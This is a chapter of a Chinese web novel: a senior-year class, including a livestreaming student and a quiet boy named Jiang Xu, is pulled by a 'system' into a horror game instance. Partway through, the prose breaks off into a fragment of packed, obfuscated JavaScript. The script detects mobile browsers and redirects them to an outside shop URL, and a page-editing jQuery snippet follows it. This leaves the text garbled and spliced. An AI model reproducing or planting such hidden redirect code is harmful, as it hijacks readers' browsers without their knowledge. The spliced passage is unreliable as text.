“感谢‘宁负天下不负你’送来的闪亮星辰,祝大哥吃穿不愁,不住平房住高楼,一路顺风顺水顺财神——”
教室最后一排的桌子上架着五六盏雪白的补光灯,前面端坐着一个五官姣好的女生,一头棕色的大波浪在头顶的补光灯下散发着金色的光泽。
女生凑近了手机屏幕,盯着弹幕,回答了网友的问题:“主播是学生吗——是的,我今年上高三。”
【高三生?】
“是啊,高三生。”赵可欣笑了起来,脸颊两侧浮现出浅浅的梨涡,“有人规定高三生不能直播吗?”
十八岁生日的当天,赵可欣是在学校度过的。
她没有选择大张旗鼓地过生日,而是躲在宿舍的床帘里,用自己的身份信息开通了个人直播账号。
几个月过后,她就成了短视频平台上的百强主播,一场PK赚到的礼物钱能达到五位数。
赵可欣坚定奉行结果比过程重要的人生理念,面对高考和直播这两条截然不同的道路,她没有一丝犹豫地选择了——直播。
但她所在的南江一中,其实是全国重本率前几的高中。不过南江市一中一向奉行自由的教学理念,不对学生多加约束。
就比如现在,赵可欣能坐在教室里参加今晚的主播百强PK赛。
赵可欣感谢完一长串的礼物名单,理了理领口的麦,下意识地看向教室前方。
两位理科课代表又在为了今天谁去送作业互扯头花。
教室门口铁质的门牌在灯光下反着光,上面刻的字清晰可见。
高三一班。
作为南江一中最好的理科重点班,高三一班并无良好的学风,只有一群精神状态美丽的学生。
除去公然在教室搞副业直播的赵可欣,高三一班可谓是人才辈出。
班长常年占据年级第一的宝座,却毫无作为学生的自觉性。上课铃一响就拉下眼罩,睡得人事不省。
曾经有实习老师把他喊醒,让他回答黑板上的问题,班长半睁着眼睛,迷迷糊糊地看了几秒就给出了答案。
他声称这是自己自创的睡眠学习法,看似睡着了,其实还在听课。
实习老师大为震撼,信了他的话。
结果老师前脚离开教室,班长立马掏出藏在抽屉里的手机,无比迅速地删除了自己的搜题记录。
还有语文课代表,是个肤白貌美的白富美,特别热爱狗血韩剧,电子产品带了一整套,每天对着各种狗血爱情剧潸然泪下。
而此时此刻——
讲台上,班长蒙着头,脑袋磕在书桌上,睡得人事不省。他半张着嘴,鼻腔里挤出一声长长的鼾声。
现在是第二节晚自习,班长被准备下班的班主任拎到讲台上看班,不出意外的睡得如同昏迷一般。
就在这时,他身后的希沃白板突然闪烁了一下,屏幕上的时间变得卡顿。天花板上细长的灯管外侧出现几条微不可察的裂痕。
正在运转的空调发出不正常的“滴滴”声。
靠在教室后方墙壁上的男生突然抬起头,似乎朝着希沃白板望了一眼,卡顿的屏幕在那一瞬间恢复了正常。
他盯着白板看了须臾,收回了视线。
手机莹白色的光照着他的脸。他眯着眼,娴熟地在屏幕上点了几下,打开了一个软件。
屏幕中央端端正正地写着几个大字——南江一中校草评选。
男生轻车熟路地点进其中一个参赛选手的证件照,不知道是不是照相馆P的太狠,上面的男生肤色惨白,对着镜头扯出一个僵硬的笑容,瞳孔漆黑,有种说不出的怪异感。
证件照的下面写着两个字:江序。
底下的标红的票数少得可怜,只有个位数。
他勾选好投票,嘴角终于扯出一丝笑,和屏幕内的那张脸重合上了。
一模一样的弧度,牵扯到的脸部肌肉走向都像是精心设计过一样分毫不差。
江序退出投票软件,从桌肚里摸出一团乱糟糟的耳机线,随意插在手机孔里,切换到了音乐软件,闭上眼睛。
希沃白板接连闪烁了两次,教室上方的灯泡似乎受到了影响,变得黯淡了许多。
江序突然睁开眼睛,脑袋里针扎一样的刺痛让他的脸色看起来更加苍白,教室后方传来敲门声。
敲门的人很礼貌,只是轻轻地叩了两下门。
然而落在江序耳里,却如同炸响的擂鼓在耳边不断敲击。
咚、咚、咚——
江序的眼皮跳了跳,他看向教室的后门,门掩着,只能看见门缝中透出男生高挑的身型。
这动静不大,可是班上没有一个人作出反应,就太奇怪了。
等了片刻,还是没人抬头,江序站起身,走到后门,一只手握住了钢制的门把手。
他隔着门缝和外面的生对视了几秒。男生眉眼凌厉,瞳孔的颜色极淡。
江序握着门把手的手紧了紧。
门内门外,两人穿着一模一样的衣服。
这其实是南江一中的校服,不过学校允许穿便服,整个高中部都没什么人会穿它,两人反倒成了另类。
江序抿了抿唇,他身上是最普通的蓝白校服,已经洗得微微发白,下摆都有些短了,扣子也都散了。
门外的男生穿着干净整洁的新校服,衣料深了一个度,领口的纽扣解开了一颗,只露出清瘦的锁骨线条,肩线平直,身形舒展。
江序手指蜷缩了一点,虚握成拳。
他知道这是谁。
整个南江一中,除了江序,只有学生会主席闻烬会老老实实地穿着校服。
不过对方显然没有认出他。
“你是?”闻烬盯着他,上下打量了两眼,尾音上扬:“我怎么没见过你。”
这人说话有种自来熟的语气,但做事并不怎么客气。像是他现在上下打量的目光,就没有正常人应该有的分寸感。
江序没作声,顶着他极具压迫感的视线,扯了扯嘴角,算是勉强露出一个笑,问道:“你有什么事吗?”
闻烬脸上的表情一空,怔怔地看着他。
江序眉眼都恹恹的,肤色也白,垂着头的时候看不清他的脸,然而刚刚扯着嘴角笑的那一刻,本就漆黑的瞳孔看起来更深了,笑容更是说不出的僵硬。
……他是谁?
心底有种说不清的熟悉感,闻烬紧紧盯着他,这种目光几乎有些没礼貌了。
男生比他矮一个头,领口没有好好扣着,随意敞开着,露出半截脖颈。
白得晃眼。
闻烬收回目光,恢复了刚刚懒散的姿态。
“我来借个遥控器。”他侧身进了教室,又道:“我们班的遥控器坏了。”
他没再追问江序的名字。
这时,希沃白板旁边连接的音响突兀地响了起来,发出刺耳的噪音。
这么大的动静,居然没有一个人抬头。
江序太阳穴突突直跳,难以自控地抬手捂住耳朵,正准备翻找遥控器的闻烬不知何时停下了手中的动作,随着他一起望向白板。
江序眼前一花,似乎有强光闪过。
是希沃白板。
LCD液晶屏上的图像如同融合的奶油,色块与线条变得溃散、混乱。
天花板上的风扇以一种极其不正常的速度转动了起来,只能看见虚幻的残影。
这样荒诞的画面下,同学们依旧低着头做着手上的事情。
周遭的气息变得寒冷而刺骨,希沃白板发出“刺啦”的噪声,画面终于变得正常。
只是屏幕上的时间不再发生变化。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17696836|208003||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>就好像是按下了暂停。
“你们班的希沃白板需要维修了。”闻烬平静的声音在他耳侧响起。
江序猛地转过头,看向闻烬,过亮的补光灯下,他的鼻尖变得半透明,浅色的瞳仁映出江序的脸。
下一秒。
“砰——”的一声巨响。
天花板上的灯猛地炸开,教室陷入一片漆黑。
一个诡异的机械声音响起——
【恭喜你们被系统筛选为优质玩家】
【优先进入内测服体验游戏副本】
【正在载入副本《开门迎客》】
一瞬间,四周陷入了极致的寂静之中。
停电了?
不,不像。
如果是停电,走廊上的灯应该也能提供一些照明,而不至于像现在如同被浓墨包裹住一样伸手不见五指。
“什么情况?”
“哎——谁踩到我了!”
同学们好像刚刚苏醒过来一样,逐渐开始发觉四周的不对劲。
江序站在原地没动,绷着一张脸。
眼前突然一亮,赵可欣面前五六盏补光灯被她一起摁亮了,整个教室顿时亮得如同白昼一般。
四周的景象随之映入眼帘。
趴在讲台上的班长终于醒了,揉着眼睛四处张望着。脑门上还有一大块红印。
江序四处打量的目光落在窗户上,眼神一凝。
这里面灯火通明,然而教室外像是被黑暗淹没,连一丝光都透不出。
【副本信息载入完毕】
【难度等级:新手】
【人数限制:不限】
【特殊奖励:待探索】
诡异的机械音又一次响起,伴随着不明的沙沙声。
如墨的漆黑放大了陌生环境的不安感,远处微弱的红光好像具有生命力一样跳动着。
【请玩家们尽快前往夕阳饭馆领取工牌】
“什么副本?”有人喊道,“谁把灯关了?”
班长站了起来,他头一回在教室里彻底睁开了眼睛,脸上还残留一丝疑惑:“发生什么事了?”
没有人回答他的问题。
教室安静了两秒,很快有人说话。
“现在怎么办?”
江序不动声色地打量着四周的环境,他们还在教室里,但走廊外已经不是教学楼了,这个教室好像成了一个独立的空间,被投放到了一个新的地方。
“等等……我们好像不在学校了。”很快有人注意到了这一点。
几个同学凑到窗户边,瞪大眼睛努力朝远处张望着,教室外被黑暗包裹着,依稀可以看见门口泥泞的土地。
“副本……”班长李知行重复了一遍广播的内容,若有所思:“恐怕我们得按照广播的指示行动。”
“远处有光。”江序打断了他们的讨论。
远处模糊而微弱的红光以一种缓慢的速度闪烁着,黑暗中,这抹红色显得格外不详。
“那先过去看看吧。”赵可欣拆了两盏补光灯拿在手中,率先走到门口。
她推开门,嘟囔了一句:“好冷啊。”
现在还没降温,教室里还开着空调。然而门外透过来的冷意让赵可欣打了个哆嗦。
刺骨的寒意如同潮水一般包裹住了众人,无声地催促着他们前进。
站在教室里,那点红光好像离得特别远,然而走出教室,在深不可测的黑暗中摸索时,那点光亮的距离就很难捉摸了。
众人步行了两三分钟,很快赶到了光源所在处。
所谓的红光,其实是几盏挂在屋檐上的灯笼。
大红的灯笼上,写着几个“喜”字。
赵可欣举起手中的补光灯,门框上方木牌上的字顿时清晰可见——
夕阳饭馆。